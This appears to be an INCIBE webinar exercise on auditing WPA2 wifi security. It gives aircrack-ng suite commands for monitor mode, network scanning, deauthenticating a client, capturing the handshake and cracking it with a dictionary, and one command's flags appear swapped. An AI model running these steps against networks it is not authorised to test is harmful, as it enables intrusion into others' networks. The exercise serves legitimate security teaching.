



GOBIERNO
DE ESPAÑA

VICEPRESIDENCIA
TERCERA DEL GOBIERNO
MINISTERIO
DE ASUNTOS ECONÓMICOS
Y TRANSFORMACIÓN DIGITAL

SECRETARÍA DE ESTADO
DE DIGITALIZACIÓN
E INTELIGENCIA ARTIFICIAL

Webinar: Reinforcing wifi security

Research exercise



TU AYUDA EN
CIBERSEGURIDAD



INSTITUTO NACIONAL DE CIBERSEGURIDAD

INDEX

1. WIRELESS AUDITS 3

FIGURE INDEX

Figure 1 Wireless networks found 3
Figure 2 Access point with WPA2 4

1. WIRELESS AUDITS

A wireless network audit involves testing the security of the network, and if it is vulnerable, recommendations must be made to address the vulnerability.

In this case we will present the performance of an audit on the WPA protocol, and for this we will need the "Wifiway" distribution together with the specific hardware that can be put in monitor mode and support the AP mode. To do this, we will use a wifi spike with a chipset that supports this mode. The monitor mode is also known as promiscuous mode or listening mode, where the card is able to capture all "wifi" packets. In this way, not only the access points but also the client devices are seen.

The first step would be to put the USB wifi in monitor mode; to do this, we will execute from the shell the following command where "wlan0" will be our wireless adapter:

- `airmon-ng start wlan0`

Next, we will check that the monitor mode works properly thanks to the monitor mode, so we run:

- `airodump-ng wlan0.`

```
CH 4 [[ Elapsed: 3 mins ]]
BSSID          PWR Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH  ESSID
-66            146         0   0   1  54e  WEP  WEP
-74            144         0   0   5  54e  WPA  CCMP  PSK  ESSID
-80             95         0   0   6  54e  WPA2 CCMP  PSK
-82             32         0   0  11  54e  WPA  CCMP  PSK
-83             63         0   0   3  54   WPA  CCMP  PSK
-84             60         0   0  11  54   WPA  TKIP  PSK
-83             60         0   0   9  54   WPA  CCMP  PSK
-84             7          0   0   6  54   WEP  WEP
-85            28         1   0  11  54   WEP  WEP

BSSID          STATION          PWR  Rate  Lost  Frames  Probe
(not associated) BSSID            -54  0 - 1   0      13
(not associated) Dispositivos Cliente -79  0 - 1   0      6
(not associated)              -85  0 - 1   0      4
(not associated)              -85  0 - 1   0      1
```

Figure 1 Wireless networks found

The BSSID is the MAC address of the access points and the ESSID is the name of the networks issuing the access points in question.

This BSSID, being a unique identification name of all the packets in a wireless network, allows us to identify them as part of that network and associate them to the access point.

Our target would be the access point with WPA2.

```
CH 1 ][ Elapsed: 8 mins ][ ][ fixed channel wlan0: 3
BSSID          PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESS
-77 20 1820 58 0 1 54e WPA2 CCMP PSK
BSSID          STATION PWR Rate Lost Frames Probe
CLIENTE      Punto de Acceso -69 1e- 1 0 32
```

Figure 2 Access point with WPA2

As we can see in the picture there is a "customer connected". It is essential that he is connected in order to capture the handshakes. To do so, the first step is to de-authenticate it by means of the following command:

We will send you 5 des authentications.

- aireplay-ng -0 5 -a CLIENT_MAC -c MAC_AP wlan0.

In this step we will capture the handshake to later submit them to a dictionary attack by means of the following command:

- aircrack-ng -w custom_dictionary.txt handshake_airesplay.cap.

In the example above of the file "handshake_airesplay.cap" would be the file that has been previously obtained by the command "AirePlay", and the other file, "custom_dictionary.txt", can be created with the Notepad, including in a new file several lines with random words and in the middle of them write the key of our wifi.

As it is a test prepared as such for this type of research exercise the time would be 10 minutes, as the password is in the dictionary.

In a real scenario, the quality of our dictionary and the power to unauthenticate the client would depend.